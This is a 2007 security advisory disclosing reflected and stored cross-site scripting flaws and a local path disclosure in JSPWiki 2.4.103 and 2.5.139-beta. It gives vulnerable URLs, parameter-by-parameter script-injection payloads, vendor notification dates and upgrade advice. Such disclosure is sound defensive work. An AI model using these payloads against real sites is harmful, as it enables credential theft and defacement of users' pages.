JSPWiki Multiple Vulnerabilities Sep 25 2007 12:42AM
Jason Kratzer (kratzer jason gmail com)
Application: JSPWiki Multiple Vulnerabilities
Version: 2.4.103 and 2.5.139
Credit: Jason Kratzer
Date: 9/24/2007

Background
------------------------------------------------------------
JSPWiki is wiki software built around the standard J2EE components of
Java, servlets and JSP. It was written by Janne Jalkanen and released
under the LGPL. The Sun Java System Portal Server includes it as one
of its core applications. It is primarily used for company intranets
and has an active developer community, also including the i3G
Institute of the Heilbronn University.

(Courtesy of Wikipedia: http://en.wikipedia.org/wiki/JSPWiki)

Description
------------------------------------------------------------
Multiple Cross Site Scripting vulnerabilities have been discovered
within the JSPWiki application, successfully allowing an attacker to
steal credentials, falsify posts, and persistently deface portions of
the site. Additionally, a Local Path Disclosure vulnerability was
also discovered.

Affected Versions
------------------------------------------------------------
Each vulnerability was confirmed in versions 2.4.103 and 2.5.139-beta.
The Cross Site Scripting vulnerability affecting the redirect
parameter is only found in version 2.5.139-beta.

Proof of Concept

Cross Site Scripting Vulnerabilities:
------------------------------------------------------------
http://vulnerable-site.com/wiki/NewGroup.jsp?group=Test

Vulnerable Parameters:
group=Test"<script>alert("Test+XSS")</script>
members= Test"<script>alert("Test+XSS")</script>

Type: Reflective
------------------------------------------------------------
http://vulnerable-site.com/wiki/Edit.jsp?page=Main&action=save&edittime=
1186698299838&addr=127.0.0.1&_editedtext=Test&changenote=Test&ok=Save

Vulnerable Parameters:
edittime=<script>alert("Test+XSS")</script>

Type: Reflective
------------------------------------------------------------
http://vulnerable-site.com/wiki/Comment.jsp?page=Main&action=save&editti
me=1186698386737&addr=127.0.0.1&_editedtext=Test&author=AnonymousCoward&
link=&ok=Save

Vulnerable Parameters:
edittime=<script>alert("Test+XSS")</script>
author=<script>alert("Test+XSS")</script>
link="><SCRIPT>alert("Test+XSS")</SCRIPT>

Type: Reflective
------------------------------------------------------------
http://vulnerable-site.com/wiki/UserPreferences.jsp?tab=profile&loginnam
e=Test&password=Test&password2=Test&wikiname=Test&fullname=Test&email=Te
st (at) Test (dot) com [email concealed]&ok=Save+profile&action=saveProfile
http://vulnerable-site.com/wiki/Login.jsp?tab=profile&loginname=Test&pas
sword=Test&password2=Test&wikiname=Test&fullname=Test&email=Test (at) Test (dot) co [email concealed]
m&ok=Save+profile&action=saveProfile

Vulnerable Parameters:
loginname="><script>alert("Test+XSS")</script>
wikiname="><script>alert("Test+XSS")</script>
fullname="><script>alert("Test+XSS")</script>
email="><script>alert("Test+XSS")</script>

Type: Reflective
------------------------------------------------------------
http://vulnerable-site.com/wiki/Diff.jsp?page=Administrator&r1=-1&r2=1

Vulnerable Parameters:
r1=<script>alert('Test XSS")</script>
r2=<script>alert("Test+XSS")</script>

Type: Reflective
------------------------------------------------------------
http://vulnerable-site.com/wiki/PageInfo.jsp?page=SystemInfo/test.jpg

Vulnerable Parameters:
changenote=<script>alert("Test+XSS")</script>

Type: Stored
------------------------------------------------------------
http://vulnerable-site.com/wiki-3/Login.jsp?redirect=Main

Vulnerable Parameter:
redirect="><script>alert("Test+XSS")</script>

Notes:
The redirect parameter is found in multiple places through
JSPWiki-2.5.139-beta and is vulnerable in every instance.

------------------------------------------------------------

Local Path Disclosure:

http://vulnerable-site.com/wiki/attach/Main/Insert-Uploaded-Attachment-F
ilename-Here?version=1000000
(Nonexistent #)

Vulnerable Parameter;
Version=10000000

Notes:
The non-existent number must be between 1 and 10 character
otherwise a standard 500 error will be displayed.

Vendor Notification
------------------------------------------------------------
The JSPWiki project was notified on September 10, 2007. Janne
Jalkanen developed and implemented a fix by September 18, 2007.

Remediation
------------------------------------------------------------
It is recommended to upgrade to JSPWiki version 2.4.104. It is also
worth noting, the above vulnerabilities have also been fixed in the
beta release, version 2.5.139.

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